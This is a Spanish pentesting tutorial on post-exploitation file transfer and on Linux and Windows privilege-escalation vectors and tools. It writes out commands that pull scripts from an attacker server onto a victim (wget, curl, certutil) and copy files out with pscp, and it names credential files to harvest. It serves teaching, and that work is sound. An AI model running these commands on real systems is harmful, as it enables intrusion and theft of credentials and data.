Post Explotación
Transferencia de Archivos
Durante la fase de post-explotación habitualmente surgirá la necesidad de subir archivos a los equipos vulnerados, así como de descargar archivos de la misma.
Subir archivos al equipo vulnerado
Los archivos que se subirán serán, normalmente, herramientas útiles para realizar las tareas de post explotación: exploits compilados y sin compilar, escáneres de puertos, scripts y aplicaciones que automaticen la enumeración o herramientas para extraer contraseñas.
Para determinar la técnica más adecuada para subir archivos en cada caso se deben considerar los protocolos autorizados en los dispositivos, el sistema operativo y las aplicaciones presentes en el sistema que puedan permitir la transferencia de archivos. Estos factores condicionarán si se hará una subida desde el equipo atacante hacia el objetivo (push) o si se utilizará la shell obtenida en el equipo para descargar desde ella el archivo (pull).
Descargar archivos desde el equipo vulnerado
Al lograr acceso a un equipo de una organización se tendrá acceso a numerosos archivos de potencial interés para diversos propósitos. Algunos de estos archivos únicamente servirán de cara al informe final como prueba de que se ha vulnerado el sistema y que un atacante habría podido acceder a información confidencial de la organización, mientras que otros servirán para profundizar en la enumeración o permitirán obtener credenciales de usuarios.
Los archivos a recopilar durante esta fase serán diversos, entre los archivos más relevantes se encuentran:
- Scripts y archivos de configuración que puedan contener credenciales o claves de usuario.
- Archivos de credenciales, para analizar offline y obtener contraseñas en claro o, al menos, los hashes: SAM y resultado del hashdump en sistemas Windows y passwd y shadow en sistemas Linux.
- Claves criptográficas: Claves SSH públicas y privadas y Claves PGP y GPG.
- Código de páginas web o código fuente de aplicaciones.
- Archivos de texto o de paquetes ofimáticos que contengan información potencialmente útil durante la post-explotación.
- Archivos generados por herramientas de enumeración post-explotación, generalmente de gran tamaño, para su análisis en el equipo del pentester.
- Archivos sensibles, que sirvan como prueba de que se ha vulnerado la seguridad.
Aunque ya se ha dicho anteriormente, es necesario volver a insistir en la necesidad de tratar con la mayor de las precauciones todos los archivos que se descarguen, dacio que pueden contener credenciales de acceso, mostrar fallos de configuración y posibles vulnerabilidades, o revelar información sensible de la organización o privada de las personas. Por ello, se debe proteger la información transmitida, bien utilizando un protocolo cifrado o cifrando la información antes de su transmisión.
Técnicas para transferir archivos
Existen numerosas formas de transferir archivos entre dos equipos, algunas de las cuales son muy sencillas y otras más complejas, así corno más seguras o inseguras. Es importante no limitarse a conocer únicamente a las más simples o a las más seguras, dado que las características del entorno resultarán determinantes para identificar el mecanismo más conveniente.
- Netcat
Netcat se trató en profundidad en la entrada dedicada a la explotación, donde se explica cómo debe usarse para intercambiar archivos.
La herramienta se pueda encontrar instalada por defecto en sistemas Linux, aunque en entornos en producción el administrador debería desinstalarla. En sistemas Windows nunca se encontrará disponible salvo que alguien la haya instalado previamente, por lo que si se quiere utilizar netcat o ncat será necesario subir una versión portable de la herramienta utilizando alguno de los otros métodos expuestos en esta sección.
- Copy & paste
Aunque no parezca una solución muy elegante ni propia de un "hacker", el tradicional copia-pega es, en muchas ocasiones, la forma más simple y rápida de intercambiar información. Si la información a intercambiar se encuentra en un fichero de texto plano, como suele suceder en los scripts o en el código fuente de un exploit, puede merecer la pena crear un fichero nuevo en el equipo destino de la información y pegar la información para ahorrar tiempo y complicaciones.
- FTP
Se puede aprovechar la universalidad de este servicio para transferir archivos durante la post-explotación. Existen clientes FTP para todos los sistemas operativos, que además están instalados por defecto en los Sistemas Operativos Windows y en la inmensa mayoría de las distribuciones Linux. Por ello, se puede utilizar el propio cliente FTP de un equipo vulnerado para acceder a un servidor controlado por el atacante. Además, aunque el administrador hubiera desinstalado el cliente, si se dispone de un acceso por escritorio remoto siempre se puede utilizar un navegador web para acceder a un servidor FTP.
Cuando un atacante utiliza FTP para intercambiar información con un equipo vulnerado debe tener en cuenta que, además de permitir distintos tipos de comunicación (activo y pasivo), tiene dos modos de transferencia de archivos entre el cliente y el servidor. Por defecto utiliza el modo ASCII, que es válido para intercambiar archivos de texto pero, si se usa para intercambiar archivos de otro tipo, provocará que estos no se puedan abrir en el equipo. Para intercambiar imágenes u otros tipos de archivos será necesario cambiar al modo binary.
Sin embargo, aunque se configure el servidor FTP para que requiera una autenticación, esto no supone una gran seguridad puesto que la comunicación no está cifrada y cualquier atacante podría capturar el tráfico, por lo que su uso no está especialmente aconsejado.
- TFTP (Trivial File Transfer Protocol)
Se trata de un protocolo FTP simplificado, que utiliza el puerto 69 UDP para intercambiar archivos entre un servidor TFPd y un cliente TFTP que se conecta al puerto abierto en el servidor. La comunicación se establece sin ningún tipo de autenticación y, al igual que FTP, no se cifran las comunicaciones.
El servidor TFPd está disponible para cualquier sistema operativo, así como el cliente. Incluso sistemas operativos como Windows 10 lo tienen disponible y se puede agregar a través de los "Programas y Características" de Windows, aunque no está instalada por defecto.
- HTTP[s]
Una de las formas más sencillas de transferir archivos es a través del conocido protocolo HTTP, que por defecto utiliza el puerto 80 TCP. Se puede montar un servidor HTTP en segundos si el equipo que actúa como servidor dispone de python. Durante el apartado dedicado a Veil, se pone un ejemplo de cómo se genera un servidor con python en el puerto deseado.
$ python3 -m http.server 80
La comunicación a través del modo seguro HTTPS se realiza por defecto utilizando el puerto 443 TCP, pero el mero hecho de utilizar dicho puerto no implica que la comunicación sea segura. Es decir, aunque se establezca el servidor web con el comando anterior en el puerto 443, la comunicación no se cifra. El cifrado requiere un mecanismo más complejo que implica la generación de certificados y la configuración de un servidor web.
Dado que casi todos los sistemas operativos incluyen un navegador web, si se dispone de un escritorio remoto el acceso al servidor es trivial, basta con introducir la URL del archivo a descargar. En caso de que en la explotación se logre una shell de linea de comandos, tanto desde sistemas Linux como Windows es posible utilizar comandos para descargar archivos de un servidor web.
Para Linux se puede utilizar la herramienta wget o curl. Por ejemplo, suponiendo que el servidor sea el 10.10.10.4 que escucha en el puerto 8080, el archivo a descargar sea LinEnum.sh y se quiera guardar en la carpeta /tmp con el nombre test.sh, se podrían utilizar cualquiera de los siguientes comandos:
$ wget http://10.10.10.4:8080/LinEnum.sh -O /tmp/test.sh
$ curl http://10.10.10.4:8080/LinEnum.sh --output /tmp/test.sh
En Windows se dispone de certutil.exe, que permite descargar archivos de servidores remotos. Para descargar el archivo WinEnumbat, alojado en el mismo servidor que en el ejemplo anterior, se utilizará el siguiente comando.
$ certutil.exe -urlcache -split -f http://10.10.10.4:8080/WinEnum.bat
Las últimas versiones de Windows incorporan otras herramientas que permiten utilizar la linea de comandos para descargar archivos alojados en servidores web, como la herramienta curl, que se utiliza de manera similar a la versión de Linux.
$ curl http://10.10.10.4:8080/WinEnum.bat --output WinEnum.bat
Una de las ventajas de estos protocolos es que prácticamente todas las organizaciones permiten las conexiones de salida, por lo que se puede utilizar para subir archivos a prácticamente cualquier equipo vulnerado.
- SCP (Secure Copy Protocol)
El protocolo SCP forma parte de SSH, por lo que se trata de un mecanismo seguro de intercambio de información que utiliza el puerto 22 TCP. Tanto la información de autenticación como los datos se transmiten cifrados, por lo que la transferencia de archivos será segura en ambos sentidos de la comunicación.
Para intercambiar información de esta forma, normalmente un atacante creará un servidor SSH en un equipo externo, al cual se conectará con un cliente SCP desde el equipo atacado. Por ello, para poder utilizar esta técnica es necesario que la red permita la comunicación SSH en sentido salida. Otro factor que condiciona la utilización de SCP es que se debe disponer de un cliente en el equipo vulnerado. En sistemas Linux no suele ser problema porque suelen disponer de un cliente SCP instalado por defecto, pero en Windows será más complicado porque el sistema no incorpora ninguno, de modo que será necesario descargar algún cliente portable (por ejemplo pscp) desde Internet.
Antes de utilizar este método es necesario preparar el equipo atacante. En primer lugar, se debe instalar ssh (si no estuviera instalado previamente) y arrancar el servicio. Para realizar estos pasos en un equipo basado en Debían se deben utilizar las siguientes instrucciones.
$ apt-get install openssh-server -y
$ service ssh start
A continuación, se debe descargar pscp.exe del sitio web del desarrollador de putty (https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html). Esto puede hacerse directamente en la víctima o hacerse en un equipo controlado por el atacante, como paso intermedio antes de transferirlo a la víctima. Para disponer de él en la víctima se puede utilizar el protocolo HTTP visto en el apartado anterior.
Una vez instalado e iniciado el servidor ssh en el equipo atacante y descargado pscp.exe en la víctima se puede extraer directamente un archivo desde el equipo vulnerado al equipo atacante, utilizando las credenciales de alguno de los usuarios de dicho equipo atacante.
$ pscp -P 22 C:\Ruta\Archivo.txt user@l0,10,10.4:/tmp/Archivo.exe
- SMB
Se trata de un protocolo muy útil durante la post-explotación de sistemas Windows, dado que es posible utilizar sus características para montar y compartir una carpeta en un equipo del atacante y hacer que el equipo vulnerado acceda a los archivos compartidos y los ejecute sin necesidad de descargarlos, con lo que quedarán menos evidencias en el equipo.
- Meterpreter
En el caso de que la explotación se haya realizado con Metasploit y se haya logrado una sesión de meterpreter, la propia herramienta permite el intercambio de archivos de manera sencilla.
Elevación de Privilegios
Es el proceso que describe la acción de conseguir un nivel de permisos más elevados en un sistema, existen numerosas técnicas para poder realizar este tipo de acciones. Sin embargo, se pueden englobar en las siguientes categorías:
- Defectos en la configuración
En ocasiones se producen ciertos defectos en la configuración de algunos servicios, o incluso el propio Sistema Operativo, que pueden ser susceptibles de ser aprovechadas por un atacante para elevar los privilegios en el sistema (local o remoto). Un ejemplo de ello es la opción “Always Install Elevated” de Microsoft Windows que permite a un usuario poder instalar una aplicación en el sistema con privilegios de Administración (Aunque el usuario no sea Administrador). En este caso nos podríamos generar con msfvenom un payload en formato .msi (Microsoft installer) que al ejecutarse añadiera nuestro usuario al grupo de administradores de la misma.
- Defectos en la gestión de la autorización
Dado que todo objeto en los sistemas dispone de unos privilegios de acceso, se suele dar el caso que un atacante tiene acceso para poder modificar algún proceso, script, fichero de configuración o rama de registro que se utilice para iniciar algún tipo de operación privilegiada. En caso que el atacante tenga privilegios para editar alguno de estos objetos, podría modificarlos para ejecutar acciones privilegiadas como iniciar una Shell, añadirnos al grupo de administradores, etc.
- Explotación de vulnerabilidades
Se trata de utilizar exploits/vulnerabilidades conocidos de tipo “local”, que permitieran la elevación de privilegios en caso de que el sistema tuviera algún software o servicio vulnerable.
Elevación de privilegios - vectores en Linux
Existen distintos vectores que nos permiten elevar nuestros privilegios en un sistema Linux. A continuación se muestran los más comunes:
- Vulnerabilidades del Kernel: En caso de realizar una explotación del kernel el nivel de privilegios es el más alto.
- Vulnerabilidades en servicios: La explotación del servicio otorga el mismo nivel de privilegios que el usuario que inició el servicio.
- Escritura en cron: En caso de disponer de privilegios para modificar las tareas del servicio "cron" podemos modificar cron podemos iniciar un proceso con el usuario que queramos.
- Configuración sudo: Si un usuario puede realizar sudo o puede ejecutar ciertos binarios como sudo.
- Binarios con SUID: Binarios que al ejecutarse lo hacen con los privilegios del usuario dueño del binario.
A continuación os dejo otras técnicas de elevación de privilegios, de la página hacktricks página muy recomendable con información sobre las distintas técnicas de elevación de privilegios en sistemas Linux (https://book.hacktricks.wiki/es/linux-hardening/privilege-escalation/index.html).
Elevación de privilegios – vectores en Windows
Existen distintos vectores que nos permiten elevar nuestros privilegios en un sistema Windows. A continuación se muestran los más comunes:
- Vulnerabilidades del Sistema Operativo: Vulnerabilidades que ejecutan procesos con privilegios elevados.
- Vulnerabilidades en servicios: El proceso inyectado tiene los privilegios del usuario que inició el servicio.
- Modificación de scripts de inicio: Modificar un script que se ejecute como administrador.
- Unquoted Path: Técnica que permite ejecutar un proceso si la llamada al binario del servicio no está “”.
- Modificación de servicios: Sustitución del binario o modificación de la ruta de ejecución..
- dllHijacking: Localizar llamadas a dll no utilizadas y generar la dll para que inyecte un proceso.
A continuación os dejo otras técnicas de elevación de privilegios, de la página hacktricks página muy recomendable con información sobre las distintas técnica de elevación de privilegios en sistemas Windows (https://book.hacktricks.wiki/es/windows-hardening/windows-local-privilege-escalation/index.html).
Herramientas de elevación de privilegios
Existen distintas herramientas que nos automatizan la detección de estos vectores:
Linux
- LinPEAS: Script en bash que localiza posibles vectores de elevación de privilegios en Linux (https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS).
- Linenum: Script en bash que localiza posibles vectores de elevación de privilegios en Linux en base a defectos en la configuración (https://github.com/rebootuser/LinEnum).
Windows
- WinPEAS: Herramienta que localiza posibles vectores de elevación de privilegios en Windows. Una versión en PowerShell y otra ejecutable (https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS).
- PrivescCheck: Script en PowerShell que localiza posibles vectores de elevación de privilegios en Windows (https://github.com/itm4n/PrivescCheck).
- Watson: Aplicación en formato binario que intenta localizar actualizaciones no instaladas en el sistema que pudieran ser aprovechadas por un exploit público para elevar los privilegios (https://github.com/rasta-mouse/Watson). (Requiere de compilación en .NET).
- SeatBelt: Herramienta que localiza posibles vectores de elevación de privilegios en Windows debido a una incorrecta configuración en los sistemas (https://github.com/GhostPack/Seatbelt).(Requiere de compilación con VisualStudio).